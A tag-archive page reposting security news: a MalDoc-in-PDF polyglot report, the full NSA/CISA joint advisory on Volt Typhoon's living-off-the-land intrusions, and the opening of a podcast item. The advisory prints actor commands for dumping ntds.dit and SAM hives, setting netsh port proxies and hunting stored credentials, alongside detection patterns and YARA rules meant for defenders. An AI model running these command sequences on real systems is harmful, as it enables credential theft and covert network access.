Tag Archive for: evade

A New Polyglot Attack Allowing Attackers to Evade Antivirus


MalDoc in PDF

Cybersecurity researchers have called attention to a new antivirus evasion technique that involves embedding a malicious Microsoft Word file into a PDF file.

The sneaky method, dubbed MalDoc in PDF by JPCERT/CC, is said to have been employed in an in-the-wild attack in July 2023.

“A file created with MalDoc in PDF can be opened in Word even though it has magic numbers and file structure of PDF,” researchers Yuma Masubuchi and Kota Kino said. “If the file has a configured macro, by opening it in Word, VBS runs and performs malicious behaviors.”

Such specially crafted files are called polyglots as they are a legitimate form of multiple different file types, in this case, both PDF and Word (DOC).

This entails adding an MHT file created in Word and with a macro attached after the PDF file object. The end result is a valid PDF file that can also be opened in the Word application.

Put differently; the PDF document embeds within itself a Word document with a VBS macro that’s designed to download and install an MSI malware file if opened as a .DOC file in Microsoft Office. It’s not immediately clear what malware was distributed in this fashion.

Cybersecurity

“When a document is downloaded from the internet or email, it’ll carry a MotW,” security researcher Will Dormann said. “As such, the user will have to click ‘Enable Editing’ to exit Protected View. At which point they’ll be learn [sic] that macros are disabled.”

While real-world attacks leveraging MalDoc in PDF were observed a little over a month ago, there’s evidence to suggest that it was being experimented (“DummymhtmldocmacroDoc.doc“) as early as May, Dormann highlighted.

The development comes amid a spike in phishing campaigns using QR codes to propagate malicious URLs, a technique called qishing.

“The samples we have observed using this technique are primarily disguised as multi-factor authentication (MFA) notifications, which lure their victims into scanning the QR code with their mobile phones to gain access,” Trustwave said last week.

MalDoc in PDF

“However, instead of going to the target’s desired location, the QR code leads them to the threat actor’s phishing page.”

One such campaign targeting the Microsoft credentials of users has witnessed an…

Source…

People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection


The United States and international cybersecurity authorities are issuing this joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity of interest associated with a People’s Republic of China (PRC) state-sponsored cyber actor, also known as Volt Typhoon. Private sector partners have identified that this activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide.

This advisory from the United States National Security Agency (NSA), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of Investigation (FBI), the Australian Signals Directorate’s Australian Cyber Security Centre (ACSC), the Communications Security Establishment’s Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK) (hereafter referred to as the “authoring agencies”) provides an overview of hunting guidance and associated best practices to detect this activity.

One of the actor’s primary tactics, techniques, and procedures (TTPs) is living off the land, which uses built-in network administration tools to perform their objectives. This TTP allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Some of the built-in tools this actor uses are: wmic, ntdsutil, netsh, and PowerShell. The advisory provides examples of the actor’s commands along with detection signatures to aid network defenders in hunting for this activity. Many of the behavioral indicators included can also be legitimate system administration commands that appear in benign activity. Care should be taken not to assume that findings are malicious without further investigation or other indications of compromise.

Download the PDF version of this report (723 KB)

This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.

The authoring agencies are aware of recent People’s Republic of China (PRC) state-sponsored cyber activity and have identified potential indicators associated with these techniques. This advisory will help net defenders hunt for this activity on their systems. It provides many network and host artifacts associated with the activity occurring after the network has been initially compromised, with a focus on command lines used by the cyber actor. An Indicators of compromise (IOCs) summary is included at the end of this advisory.

Especially for living off the land techniques, it is possible that some command lines might appear on a system as the result of benign activity and would be false positive indicators of malicious activity. Defenders must evaluate matches to determine their significance, applying their knowledge of the system and baseline behavior. Additionally, if creating detection logic based on these commands, network defenders should account for variability in command string arguments, as items such as ports used may be different across environments.

Network artifacts

The actor has leveraged compromised small office/home office (SOHO) network devices as intermediate infrastructure to obscure their activity by having much of the command and control (C2) traffic emanate from local ISPs in the geographic area of the victim. Owners of SOHO devices should ensure that network management interfaces are not exposed to the Internet to avoid them being re-purposed as redirectors by malicious actors. If they must be exposed to the Internet, device owners and operators should ensure they follow zero trust principles and maintain the highest level of authentication and access controls possible.

The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks [T1090] to ports 8080, 8443, 8043, 8000, and 10443 with various filenames including, but not limited to:

cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.

Host artifacts

Windows management instrumentation (WMI/WMIC)

The actor has executed the following command to gather information about local drives [T1082]:

cmd.exe /C "wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename"

This command does not require administrative credentials to return results. The command uses a command prompt [T1059.003] to execute a Windows Management Instrumentation Command Line (WMIC) query, collecting information about the storage devices on the local host, including drive letter, file system (e.g., new technology file system [NTFS]), free space and drive size in bytes, and an optional volume name. Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a user to access management information from hosts in an enterprise environment. The command line version of WMI is called WMIC.

By default, WMI Tracing is not enabled, so the WMI commands being executed and the associated user might not be available. Additional information on WMI events and tracing can be found in the References section of the advisory.

Ntds.dit Active Directory database

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from Windows domain controllers (DCs) out of the network to perform password cracking [T1003.003]. (The ntds.dit file is the main Active Directory (AD) database file and, by default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups, group memberships, and password hashes for all users in the domain; the SYSTEM registry hive contains the boot key that is used to encrypt information in the ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file from the Shadow Copy. The SYSTEM registry hive may also be obtained from the Shadow Copy. The following example commands show the actor creating a Shadow Copy and then extracting a copy of the ntds.dit file from it.

cmd /c vssadmin create shadow /for=C: > C:\Windows\Temp\<filename>.tmp

cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp

The built-in Ntdsutil.exe tool performs all these actions using a single command. There are several ways to execute Ntdsutil.exe, including running from an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the execution of Ntdsutil.exe commands using long, short, or a combination of the notations. For example, the long notation command activate instance ntds ifm can also be executed using the short notation ac i ntds i. Table 1 provides the long and short forms of the arguments used in the sample Ntdsutil.exe command, along with a brief description of the arguments.

Table 1: Ntdsutil.exe command syntax

Long form

Short form

Description

activate instance %

ac i %

Sets variable % as the active instance for ntdsutil to use

ifm

i

Install from media (ifm). Creates installation media to be used with DCPromo so the server will not need to copy data from another Domain Controller on the network

The actor has executed WMIC commands [T1047] to create a copy of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is a standalone example; multiple examples are provided to show how syntax and file paths may differ per environment.

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\pro

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value> 2>&1

Note: The <timestamp value> would be an epoch timestamp following the format like “__1684956600.123456”.

Each actor command above creates a copy of the ntds.dit database and the SYSTEM and SECURITY registry hives in the C:\Windows\Temp\<folder> directory, where <folder> is replaced with the path specified in the command (e.g., pro, tmp, or McAfee_Logs). By default, the hidden ADMIN$ share is mapped to C:\Windows\, so the last command will direct standard output and error messages from the command to a file within the folder specified.

The actor has also saved the files directly to the C:\Windows\Temp and C:\Users\Public directories, so the entirety of those directory structures should be analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY hives. Defenders should look for this folder structure across their network:

<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm

<path specified in command>\registry\SECURITY

<path specified in command>\registry\SYSTEM

When one of the example commands is executed, several successive log entries are created in the Application log, under the ESENT Source. Associated events can be viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To narrow results to relevant events, select Filter Current Log from the Actions menu on the right side of the screen. In the Event sources dropdown, check the box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box will apply the filters to the results.

Since ESENT logging is used extensively throughout Windows, defenders should focus on events that reference ntds.dit. If such events are present, the events’ details should contain the file path where the file copies were created. Since these files can be deleted, or enhanced logging may not be configured on hosts, the file path can greatly aid in a hunt operation. Identifying the user associated with this activity is also a critical step in a hunt operation as other actions by the compromised—or actor-created—user account can be helpful to understand additional actor TTPs, as well as the breadth of the actor’s actions.

Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain should be considered compromised, as the actor will generally be able to crack the password hashes for domain user accounts, create their own accounts, and/or join unauthorized systems to the domain. If this occurs, defenders should follow guidance for removing malicious actors from victim networks, such as CISA’s Eviction Guidance for Network Affected by the SolarWinds and Active Directory/M365 Compromise.

In addition to the above TTPs used by the actor to copy the ntds.dit file, the following tools could be used by an actor to obtain the same information:

  • Secretsdump.py
    • Note: This script is a component of Impacket, which the actor has been known to use
  • Invoke-NinjaCopy (PowerShell)
  • DSInternals (PowerShell)
  • FgDump
  • Metasploit

Best practices for securing ntds.dit include hardening Domain Controllers and monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.

PortProxy

The actor has used the following commands to enable port forwarding [T1090] on the host:

"cmd.exe /c "netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=<rfc1918 internal ip address> connectport=8443 protocol=tcp""

"cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=1433 connectaddress=<rfc1918 internal ip address>"

where <rfc1918 internal ip address> is replaced with an IPv4 address internal to the network, omitting the < >’s.

Netsh is a built-in Windows command line scripting utility that can display or modify the network settings of a host, including the Windows Firewall. The portproxy add command is used to create a host:port proxy that will forward incoming connections on the provided listenaddress and listenport to the connectaddress and connectport. Administrative privileges are required to execute the portproxy command. Each portproxy command above will create a registry key in the HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\ path. Defenders should look for the presences of keys in this path and investigate any anomalous entries.

Note: Using port proxies is not common for legitimate system administration since they can constitute a backdoor into the network that bypasses firewall policies. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.

Defenders should also use unusual IP addresses and ports in the command lines or registry entries to identify other hosts that are potentially included in actor actions. All hosts on the network should be examined for new and unusual firewall and port forwarding rules, as well as IP addresses and ports specified by the actor. If network traffic or logging is available, defenders should attempt to identify what traffic was forwarded though the port proxies to aid in the hunt operation. As previously mentioned, identifying the associated user account that made the networking changes can also aid in the hunt operation.

Firewall rule additions and changes can be viewed in Windows Event Viewer by navigating to:

Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall.

In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. The actor is known to target perimeter devices in their operations. Firewall logs should be reviewed for any connections to systems on the ports listed in any portproxy commands discovered.

PowerShell

The actor has used the following PowerShell [T1059.001] command to identify successful logons to the host [T1033]:

Get-EventLog security -instanceid 4624

Note: Event ID 4624 is logged when a user successfully logs on to a host and contains useful information such as the logon type (e.g., interactive or networking), associated user and computer account names, and the logon time. Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to:

Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: Applications and Service Logs | Windows PowerShell.

This command identifies what user account they are currently leveraging to access the network, identify other users logged on to the host, or identify how their actions are being logged. If the actor is using a password spray technique [T1110.003], there may be several failed logon (Event ID 4625) events for several different user accounts, followed by one or more successful logons (Event ID 4624) within a short period of time. This period may vary by actor but can range from a few seconds to a few minutes.

If the actor is using brute force password attempts [T1110] against a single user account, there may be several Event ID 4625 entries for that account, followed by a successful logon Event ID 4624. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).

Impacket

The actor regularly employs the use of Impacket’s wmiexec, which redirects output to a file within the victim host’s ADMIN$ share (C:\Windows\) containing an epoch timestamp in its name. The following is an example of the “dir” command being executed by wmiexec.py:

cmd.exe /Q /c *dir 1> \\127.0.0.1\ADMIN$\__1684956600.123456 2>&1

Note: Discovery of an entry similar to the example above in the Windows Event Log and/or a file with a name in a similar format may be evidence of malicious activity and should be investigated further. In the event that only a filename is discovered, the epoch timestamp within the filename reflects the time of execution by default and can be used to help scope threat hunting activities.

Enumeration of the environment

The following commands were used by the actor to enumerate the network topology [T1016], the active directory structure [T1069.002], and other information about the target environment [T1069.001], [T1082]:

arp -a

curl www.ip-api.com

dnscmd . /enumrecords /zone {REDACTED}

dnscmd . /enumzones

dnscmd /enumrecords {REDACTED} . /additional

ipconfig /all

ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree

net localgroup administrators

net group /dom

net group "Domain Admins" /dom

netsh interface firewall show all

netsh interface portproxy show all

netsh interface portproxy show v4tov4

netsh firewall show all

netsh portproxy show v4tov4

netstat -ano

reg query hklm\software\

systeminfo

tasklist /v

whoami

wmic volume list brief

wmic service brief

wmic product list brief

wmic baseboard list full

wevtutil qe security /rd:true /f:text /q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='{REDACTED}']] and EventData[Data="{REDACTED}"]]

Additional credential theft

The actor also used the following commands to identify additional opportunities for obtaining credentials in the environment [T1555], [T1003]:

dir C:\Users\{REDACTED}\.ssh\known_hosts

dir C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles

     mimikatz.exe

reg query hklm\software\OpenSSH

reg query hklm\software\OpenSSH\Agent

reg query hklm\software\realvnc

reg query hklm\software\realvnc\vncserver

reg query hklm\software\realvnc\Allusers

reg query hklm\software\realvnc\Allusers\vncserver

reg query hkcu\software\{REDACTED}\putty\session

reg save hklm\sam ss.dat

reg save hklm\system sy.dat

Additional commands

The actor executed the following additional commands:

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 >

C:\Windows\temp\putty.log

C:\Windows\Temp\tmp.log

"cmd.exe" /c dir \\127.0.0.1\C$ /od

"cmd.exe" /c ping –a –n 1 <IP address>

"cmd.exe" /c wmic /user:<username> /password:<password> process call create "net stop \"<service name>\" > C:\Windows\Temp\tmp.log"

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2 2>&1

net use \\127.0.0.1\IPC$ /y /d

powershell start-process -filepath c:\windows\temp\<filename>.bat -windowstyle Hidden

rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED} D:\{REDACTED}\

wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED} cmd /c whoami

xcopy C:\windows\temp\hp d:\{REDACTED}

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actor’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity Frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Defenders should harden domain controllers and monitor event logs [2.T] for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.
  • Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required [2.X].
  • Defenders should investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions.
  • In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts.
  • Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).
  • Defenders should forward log files to a hardened centralized logging server, preferably on a segmented network [2.F].

Logging recommendations

To be able to detect the activity described in this CSA, defenders should set the audit policy for Windows security logs to include “audit process creation” and “include command line in process creation events” in addition to accessing the logs. Otherwise, the default logging configurations may not contain the necessary information.

Enabling these options will create Event ID 4688 entries in the Windows Security log to view command line processes. Given the cost and difficulty of logging and analyzing this kind of activity, if an organization must limit the requirements, they should focus on enabling this kind of logging on systems that are externally facing or perform authentication or authorization, especially including domain controllers.

To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not enabled, but they can be enabled by following the configuration instructions linked in the References section.

The actor takes measures to hide their tracks, such as clearing logs [T1070.001]. To ensure log integrity and availability, defenders should forward log files to a hardened centralized logging server, preferably on a segmented network. Such an architecture makes it harder for an actor to cover their tracks as evidence of their actions will be captured in multiple locations.

Defenders should also monitor logs for Event ID 1102, which is generated when the audit log is cleared. All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known actor tactic to cover their tracks. Even if an event log is cleared on a host, if the logs are also stored on a logging server, the copy of the log will be preserved.

This activity is often linked to malicious exploitation of edge devices and network management devices. Defenders should enable logging on their edge devices, to include system logs, to be able to identify potential exploitation and lateral movement. They should also enable network-level logging, such as sysmon, webserver, middleware, and network device logs.

TTPs

  • Exploiting vulnerabilities [T1190] in widely used software including, but not limited to:
  • Using webshells for persistence and exfiltration [T1505.003], with at least some of the webshells derived from the Awen webshell.
  • Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to obfuscate the source of the activity [T1090.002].
  • Using living off the land tools for discovery, lateral movement, and collection activities, to include:
    • certutil
    • dnscmd
    • ldifde
    • makecab
    • net user/group/use
    • netsh
    • nltest
    • ntdsutil
    • PowerShell
    • req query/save
    • systeminfo
    • tasklist
    • wevtutil
    • wmic
    • xcopy
  • Selective clearing of Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity [T1546].
  • Using open source “hacktools” tools, such as:

Command execution

File names and directory paths used in these commands are only meant to serve as examples. Actual names and paths may differ depending on environment and activity, so defenders should account for variants when performing queries.

Note: Many of the commands are derivatives of common system administration commands that could generate false positives when used alone without additional indicators.

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z c:\windows\temp\*

"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c "netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999""

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> c:\windows\temp\{REDACTED}.tmp



"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c *cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1652470932.9400265 2>&1

cmd.exe /Q /c net group "domain admins" /dom 1>\\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value>  2>&1

D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED}

Get-EventLog security -instanceid 4624

ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree

makecab ..\backup\210829-020000.zip ..\webapps\adssp\html\Lock.lic

move "\\<redacted>\c$\users\public\Appfile\registry\SYSTEM" ..\backup\210829-020000.zip

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress={REDACTED} connectport=8443 protocol=tcp

netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999



Rar.exe a –{REDACTED} c:\Windows\temp\DMBC2C61.tmp

start-process -filepath c:\windows\temp\<filename>.bat -windowstyle hidden 1

Note: The batch file in question (<filename>.bat) could use any name, and no discernable pattern has been determined at this time.

wmic process call create "cmd.exe /c mkdir C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm \"create full C:\users\public\Appfile\" q q

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\"

Command line patterns

Certain patterns in commands (with asterisks for wildcards) can be used to identify potentially malicious commands:

  • cmd.exe /C dir /S \\* >> *
  • cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1
  • powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden

File paths

The most common paths where files and executables used by the actor have been found include:

  • C:\Users\Public\Appfile (including subdirectories)
  • C:\Perflogs (including subdirectories)
  • C:\Windows\Temp (including subdirectories)

File names

The file names the actor has previously used for such things as malware, scripts, and tools include:

backup.bat

cl64.exe

update.bat

Win.exe

billagent.exe

nc.exe

update.exe

WmiPrvSE.exe

billaudit.exe

rar.exe

vm3dservice.exe

WmiPreSV.exe

cisco_up.exe

SMSvcService.exe

watchdogd.exe

 

In addition to the file names and paths above, malicious files names, believed to be randomly created, in the following format have also been discovered:

C:\Windows\[a-zA-Z]{8}.exe

SHA-256 file hashes

  • f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd
  • ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31
  • d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca
  • 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d
  • 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7
  • 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
  • 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597
  • c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99
  • 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f
  • fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15
  • ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484

User-agent

In some cases, the following user-agent string (including the extra spacing) was identified performing reconnaissance activities by this actor:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0)               Gecko/20100101 Firefox/68.0

Yara rules

rule ShellJSP {

    strings:

        $s1 = "decrypt(fpath)"

        $s2 = "decrypt(fcontext)"

        $s3 = "decrypt(commandEnc)"

        $s4 = "upload failed!"

        $s5 = "aes.encrypt(allStr)"

        $s6 = "newid"


    condition:

        filesize < 50KB and 4 of them

}
rule EncryptJSP {

    strings:

        $s1 = "AEScrypt"

        $s2 = "AES/CBC/PKCS5Padding"

        $s3 = "SecretKeySpec"

        $s4 = "FileOutputStream"

        $s5 = "getParameter"

        $s6 = "new ProcessBuilder"

        $s7 = "new BufferedReader"

        $s8 = "readLine()"


    condition:

        filesize < 50KB and 6 of them

}
rule CustomFRPClient {

   meta:

        description=”Identify instances of the actor's custom FRP tool based on unique strings chosen by the actor and included in the tool”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "MAGA2024!!!" nocase ascii wide

        $s5 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        all of them

}
rule HACKTOOL_FRPClient {

   meta:

        description=”Identify instances of FRP tool (Note: This tool is known to be used by multiple actors, so hits would not necessarily imply activity by the specific actor described in this report)”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        3 of them

}

Active Directory and domain controller hardening:

CISA regional cyber threats:

Microsoft Threat Intelligence blog:

Ntdsutil.exe:

PowerShell:

Windows command line process auditing:

Windows Defender Firewall:

Windows management instrumentation:

Windows password spraying:

The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google’s Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and additional industry partners for their collaboration on this advisory.

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies’ governments, and this guidance shall not be used for advertising or product endorsement purposes.

Trademark recognition

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at [email protected] or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/field-offices.  

NSA Cybersecurity Report Questions and Feedback: [email protected]

NSA Defense Industrial Base Inquiries and Cybersecurity Services: [email protected]

NSA Media Inquiries / Press Desk: 443-634-0721, [email protected]

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and advisories.

Canadian organizations: Report incidents by emailing CCCS at [email protected].

New Zealand organizations: Report cyber security incidents to [email protected] or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Table 2 captures all referenced threat actor tactics and techniques in this advisory.

Table 2: All referenced threat actor tactics and techniques

Initial Access

Technique Title

ID

Use

Exploit Public-facing Application

T1190

Actor used public-facing applications to gain initial access to systems; in this case, Earthworm and PortProxy.

Execution

Windows Management Instrumentation

T1047

The actor executed WMIC commands to create a copy of the SYSTEM registry.

Command and Scripting Interpreter: PowerShell

T1059.001

The actor used a PowerShell command to identify successful logons to the host.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

The actor used this primary command prompt to execute a query that collected information about the storage devices on the local host.

Persistence

Server Software Component: Web Shell

T1505.003

The actor used backdoor web servers with web shells to establish persistence to systems, including some of the webshells being derived from Awen webshell.

Defense Evasion

Hide Artifacts

T1546

The actor selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity.

Indicator Removal: Clear Windows Event Logs

T1070.001

The actor cleared system event logs to hide activity of an intrusion.

Credential Access

OS Credential Dumping: NTDS

T1003.003

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive out of the network to perform password cracking.

Brute Force

T1110

The actor attempted to gain access to accounts with multiple password attempts.

Brute Force: Password Spraying

T1110.003

 

The actor used commonly used passwords against accounts to attempt to acquire valid credentials.

OS Credential Dumping

T1003

The actor used additional commands to obtain credentials in the environment.

Credentials from Password Stores

T1555

The actors searched for common password storage locations.

Discovery

System Information Discovery

T1082

The actors executed commands to gather information about local drives.

System Owner/User Discovery

T1033

The actors gathered information about successful logons to the host using a PowerShell command.

Permission Groups Discovery: Local Groups

T1069.001

The actors attempt to find local system groups and permission settings.

Permission Groups Discovery: Doman Groups

T1069.002

The actors used commands to enumerate the active directory structure.

System Network Configuration Discovery

T1016

The actors used commands to enumerate the network topology.

Command and Control

Proxy

T1090

The actors used commands to enable port forwarding on the host.

Proxy: External Proxy

T1090.002

The actors used compromised SOHO devices (e.g. routers) to obfuscate the source of their activity.

 

Source…

Cyber Security Today, Feb. 24, 2023 – Holes in open source software, ransomware gang tries to evade cyber insurers and more


Holes in open source software, ransomware gang tries to evade cyber insurers and more

Welcome to Cyber Security Today. It’s Friday, February 24th, 2023. I’m Howard Solomon, contributing reporter on cybersecurity for ITWorldCanada.com and TechNewsday.com in the U.S.

Creators of open-source projects still aren’t doing enough to ensure their code is squeaky clean. Researchers at Synopsys released their annual Open Source Security and Risk Analysis report this week, which looked at 1,700 audits of commercial and proprietary software. And the results weren’t pretty. Eighty-four per cent of the codebases examined had at least one known open source vulnerability. That’s up four per cent from last year. Here’s something else: Of the 1,480 audited codebases that included risk assessments by corporate owners of the software, 91 per cent contained outdated versions of open-source components. Developers of applications and IT departments that buy them need to have complete visibility of their software, says Synopsys. It helps for developers to create and buyers to demand a software bill of goods, the company adds.

